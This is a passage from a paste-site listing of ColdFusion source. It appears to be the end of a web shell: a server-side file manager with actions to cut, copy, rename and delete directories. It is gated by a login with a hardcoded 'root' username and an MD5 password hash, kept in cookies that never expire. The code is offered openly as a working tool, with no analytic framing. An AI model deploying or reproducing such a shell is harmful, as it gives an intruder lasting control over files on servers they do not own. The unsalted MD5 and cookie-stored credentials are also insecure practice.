  630.                         <a href="?action=cutd&scr=#dir##Name#\">Cutdir</a>|<a href="?action=copyd&scr=#dir##Name#\">Copy</a>|<a href="?action=renamed&scr=#dir##Name#\">Rename</a>|<a href="?action=deld&scr=#dir##Name#\" onCLick="return confirm('Delete #Name# ?')">DeleteDir</a>
  631.                     </cfif>
  632.                 </td>
  633.             </tr>
  634.         </cfoutput>
  635.     </table></div>
  636. </div>
  637. </cfif>
  638. <!--- End Main --->
  639. <cfelseif Not IsDefined("cookie.username")>
  640.     <cfform name="articles" ENCTYPE="multipart/form-data">
  641.         <center><table width="300" border="0">
  642.             <tr>
  643.                 <td width="50">Username:</td>
  644.                 <td width="50"><input type="text" name="username"></td>
  645.             </tr>
  646.             <tr>
  647.                 <td width="50">Password:</td>
  648.                 <td width="50"><input type="password" name="password"></td>
  649.             </tr>
  650.             <tr>
  651.                 <td width="50">Remember you?:</td>
  652.                 <td width="50">
  653.                     <input type="checkbox" name="RememberMe" value="Yes" checked>
  654.                     <input type="submit" name="Process" value="Login">
  655.                 </td>
  656.             </tr>
  657.         </table></center>
  658.     </cfform>
  659.     <cfif IsDefined("username")>
  660.     <cfset member_username = "root">
  661.     <cfset member_password = "75d06b0f0b434726ec9754fe5d31c8a3">
  662.     <cfif #username# neq #member_username#>
  663.         <center>Wrong username!</center>
  664.         <cfset structclear(cookie)>
  665.         <cfelseif hash(form.password, "MD5") neq #member_password#>
  666.         <center>Wrong password!</center>
  667.         <cfset structclear(cookie)>
  668.     <cfelse>
  669.     <cfif IsDefined("RememberMe")>
  670.     <cfset member_password1 = hash(form.password, "MD5")>          
  671.           <cfcookie name="username" value="#form.username#" expires="NEVER">
  672.           <cfcookie name="password" value="#member_password1#" expires="NEVER">
  673.     <cfelse>
  674.       <cfset member_password1 = hash(form.password, "MD5")>          
  675.           <cfcookie name="username" value="#form.username#">
  676.           <cfcookie name="password" value="#member_password1#">
  677.     </cfif>
  678.         <cflocation url="?" addtoken="No">
  679.     </cfif>
  680.     </cfif>
  681. </cfif>
  682. <!--- End Login --->
  683. <hr>
  684. </body>
  685. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement